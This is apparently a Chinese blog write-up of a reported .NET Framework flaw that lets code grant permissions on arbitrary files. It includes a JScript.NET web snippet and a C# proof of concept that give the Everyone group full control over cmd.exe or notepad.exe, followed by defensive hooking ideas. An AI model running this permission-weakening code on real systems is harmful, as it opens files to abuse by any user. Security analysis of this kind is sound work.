QTVA-2015-198545、WooYun-2015-104148 .NET Framework Arbitrary File Permissions Modify Vul
catalog
. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix
1. Description
通过.NET Framework的这个API漏洞,攻击者可以赋予任意程序文件执行权限
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2015-0104148
https://butian.360.cn/vul/info/qid/QTVA-2015-198545
2. Effected Scope
Microsoft .NET Framework 2.0
Microsoft .NET Framework 3.5
Microsoft .NET Framework 3.5.
Microsoft .NET Framework
Microsoft .NET Framework 4.5
Microsoft .NET Framework 4.5.
3. Exploit Analysis
try
{
var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";
/*
DirectoryInfo类,公开用于创建、移动和枚举目录和子目录的实例方法,此类不能被继承
https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx
*/
var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath); /*
GetAccessControl(): 获取DirectorySecurity对象,该对象封装当前DirectoryInfo对象所描述的目录的访问控制列表(ACL)项
返回一个DirectorySecurity对象,该对象封装此目录的访问控制规则
https://msdn.microsoft.com/zh-cn/library/t1h6d4k4(v=vs.110).aspx
*/
var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl(); /*
AddAccessRule(FileSystemAccessRule): 将指定的访问控制列表(ACL)权限添加到当前文件或目录
https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.directorysecurity(v=vs.110).aspx
public FileSystemAccessRule(
IdentityReference identity,
FileSystemRights fileSystemRights,
AccessControlType type
)
1. identity: System.Security.Principal::IdentityReference: 封装对用户帐户的引用的 IdentityReference对象
2. fileSystemRights: System.Security.AccessControl::FileSystemRights:FileSystemRight 值之一,该值指定与访问规则关联的操作的类型
3. type: System.Security.AccessControl::AccessControlType: AccessControlType值之一,该值指定是允许还是拒绝该操作
*/
dirsecurity.AddAccessRule(
new System.Security.AccessControl.FileSystemAccessRule(
strUser,
System.Security.AccessControl.FileSystemRights.FullControl,
System.Security.AccessControl.AccessControlType.Allow
));
/*
FileSystemAccessRule类: 表示定义文件或目录的访问规则的访问控制项 (ACE) 的抽象
https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.filesystemaccessrule(v=vs.110).aspx
*/ //SetAccessControl: 将DirectorySecurity对象所描述的访问控制列表(ACL)项应用于当前DirectoryInfo对象所描述的目录
dirinfo.SetAccessControl(dirsecurity);
Response.Write(strPath+"\t权限添加成功!"); }
catch(x)
{
Response.Write(x.Message);
}
Relevant Link:
https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx
0x1: POC
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text; namespace poc
{
class Program
{
static void Main(string[] args)
{
try
{
String strPath = "C:\\notepad.exe", strUser = "everyone";
System.IO.DirectoryInfo dirinfo = new System.IO.DirectoryInfo(strPath);
System.Security.AccessControl.DirectorySecurity dirsecurity = dirinfo.GetAccessControl(); dirsecurity.AddAccessRule(
new System.Security.AccessControl.FileSystemAccessRule(
strUser,
System.Security.AccessControl.FileSystemRights.FullControl,
System.Security.AccessControl.AccessControlType.Allow
)); dirinfo.SetAccessControl(dirsecurity);
Console.WriteLine(strPath+"\t权限添加成功!"); }
catch(Exception x)
{
Console.WriteLine(x.Message);
}
}
}
}
4. Principle Of Vulnerability
使用.NET的Directory类,用户可通过DirectorySecurity对象的下列方法来访问目录的访问控制列表(ACL)
. GetAccessControl: 返回一个目录的Windows ACL作为一个DirectorySecurity对象
. SetAccessControl: 将DirectorySecurity对象的ACl入口赋予指定目录
0x1: DirectorySecurity
DirectorySecurity类定义了如何对目录访问进行审计。该类是潜在的Windows文件安全系统(System.Security.AccessControl命名空间的一部分)的一个抽象,在该系统中,每个目录有一个自由决定的ACL来控制目录访问。同时,一个系统ACL决定对哪些访问控制进行审计。使用两个类来分别处理目录访问和审计
. FileSystemAccessRule
. FileSystemAuditRule
ileSystemAccessRule类代表一个潜在的访问控制入口的抽象,访问控制入口用来指定用户账号,提供的访问类型(读、写等)以及是许可或拒绝某个权限。同时,该类还指定了如何将访问规则传递给子对象。FileSystemAuditRule类代表了为某个文件或目录定义审计规则的ACE
为了通过DirectorySecurity类为某个目录添加一条新规则,需要FileSystemAccessRule和FileSystemAuditRule两个类的新实例
. 第一个参数: 指定每个应用该规则的用户、组或标识
. 第二个参数: FileSystemRights列表,用来指定用户(由第一个参数指定)可以进行的操作,它包含很多可能的取值,包括
) CreateDirectories
) CreateFiles
) Delete
) FullControl
) ListDirectory
. 最后一个参数: 可用来指定用户能否执行参数二的操作。AccessControlType列表包括两个可能取值
) 允许
) 拒绝
用于FileSystemAuditRule类的第三个参数可从AuditFlags列表的Failure、None或Success中取值来设定审计级别。FileSystemAuditRule类的构造函数是重载的,这个方法是最基本的方法
需要注意的是,需要使用管理员权限调用DirectorySecurity相关API
Relevant Link:
http://developer.zdnet.com.cn/2007/0510/391302.shtml
http://www.wyxit.com/article/201501/6731.html
5. Patch Fix
.NET Framework和Java JVM本质上是一样的,都是在操作系统之上抽象出了一层虚拟机,从而允许"中间字节码"在虚拟机上运行,从而实现跨平台
在.NET Framework框架中,如果需要调用操作系统API实现操作系统功能,需要通过Native API接口,即通过DLL/SO来调用操作系统API,因此,我们的防御方案可以从以下方向展开
. .NET Framework DirectorySecurityAPI涉及到的nativa API为
) SetSecurityDescriptorDacl
) SetFileSecurity
通过DLL/SO Hook实现管控 . 在内核层执行路径上进行防御
Copyright (c) 2015 Little5ann All rights reserved
QTVA-2015-198545、WooYun-2015-104148 .NET Framework Arbitrary File Permissions Modify Vul的更多相关文章
- [转]Adobe Creative Cloud 2015 下载 Adobe CC 2015 Download
Adobe Creative Cloud 2015 下载 Adobe 宣布 Creative Cloud 设计套件全线更新! Adobe CC 2015新功能包括: – Premiere Pro ...
- [转].NET Core、Xamarin、.NET Standard和.NET Framework四者之间的区别
转至:https://segmentfault.com/a/1190000011539920 前段时日微软(Microsoft)正式发布了.NET Core 2.0,在很多开发社区中反响不错.但还是有 ...
- .NET Core、Xamarin、.NET Standard和.NET Framework四者之间的区别
前段时日微软(Microsoft)正式发布了.NET Core 2.0,在很多开发社区中反响不错.但还是有一些开发者发出了疑问,.NET Core.Xamarin..NET Standard和.NET ...
- 在 Linux 中,最直观、最可见的部分就是 文件系统(file system)
在 Linux 中,最直观.最可见的部分就是 文件系统(file system).下面我们就来一起探讨一下关于 Linux 中国的文件系统,系统调用以及文件系统实现背后的原理和思想.这些思想中有一些来 ...
- Microsoft Visual Studio 2015 下载、注册、安装过程、功能列表、问题解决
PS:请看看回复.可能会有文章里没有提到的问题.也许会对你有帮助哦~ 先上一张最终的截图吧: VS2015正式版出了,虽然没有Ultimate旗舰版,不过也是好激动的说.哈哈.可能有的小伙伴,由于工作 ...
- 关于 ECMAScript、JavaScript、ES6、ECMAScript 2015
ECMAScript 是一种规范,而 JavaScript 是对规范的实现.ECMA 是标准化组织. 最早的 JavaScript 是由 Netscape 公司开发的,并提交给 ECMA 标准化组织, ...
- 【CTSC 2015】&【APIO 2015】酱油记
蒟蒻有幸参加了神犇云集的CTSC & APIO 2015,感觉真是被虐成傻逼了……这几天一直没更新博客,今天就来补一下吧~~(不过不是题解……) Day 0 从太原到北京现在坐高铁只需3小时= ...
- SAFS Distilled --- 9 April 2015 to 16 April 2015
In the org.safs.model, the class Component stores: information of this component's name reference of ...
- [Fri, 3 Jul 2015 ~ Tue, 7 Jul 2015] Deep Learning in arxiv
Convolutional Color Constancy can this be used for training cnn to narrow the gap between different ...
随机推荐
- python中from module import * 的一个陷阱
from module import *把module中的成员全部导到了当前的global namespace,访问起来就比较方便了.当然,python style一般不建议这么做,因为可能引起nam ...
- OpenCV中的神器Image Watch
Image Watch是在VS2012上使用的一款OpenCV工具,能够实时显示图像和矩阵Mat的内容,跟Matlab很像,方便程序调试,相当好用.跟VS2012配合使用,简直就是一款神器!让我一下就 ...
- 将DBF文件导入Sqlserver数据库
项目中的问题:用户选择N个dbf文件导入sql2005数据库,由于每年dbf表结构都在变化,所以在sql2005中根本就不存在,需要每年根据dbf的结构自动建表.(文章来自http://blog.cs ...
- .net破解一(反编译,反混淆-剥壳)
大家好,前段时间做数据分析,需要解析对方数据,而数据文件是对方公司内部的生成方式,完全不知道它是怎么生成的. 不过还好能拿到客户端(正好是C#开发)所以第一件事就是用Reflector编译,但是没有想 ...
- Oracle中修改表名遇到“ORA-00054: 资源正忙, 但指定以 NOWAIT 方式获取资源, 或者超时失效”
Oracle 11g中想修改表名: rename ASSETPORJECT to ASSETPROJECT; 结果提示:ORA-00054: 资源正忙, 但指定以 NOWAIT 方式获取资源, 或者超 ...
- VS2013无法链接到TFS(Visual studio online),错误TF31001,TF31002
TF31002: Unable to connect to VisualStudio Online with VS 2013 but I can using web access - Windows ...
- sockaddr与sockaddr_in结构体简介
struct sockaddr { unsigned short sa_family; /* address family, AF_xxx */char sa_data[14]; ...
- 使用Retrofit和Okhttp实现网络缓存。无网读缓存,有网根据过期时间重新请求 (转)
使用Retrofit和Okhttp实现网络缓存,更新于2016.02.02原文链接:http://www.jianshu.com/p/9c3b4ea108a7 本文使用 Retrofit2.0.0-b ...
- C#.NET里面抽象类和接口有什么区别?
声明方法的存在而不去实现它的类被叫做抽象类(abstract class),它用于要创建一个体现某些基本行为的类,并为该类声明方法,但不能在该类中实现该类的情况.不能创建abstract 类的实例.然 ...
- js中用正则表达式 过滤特殊字符 ,校验所有输入域是否含有特殊符号
function stripscript(s) { var pattern = new RegExp("[`~!@#$^&*()=|{}':;',\\[\\].<>/?~ ...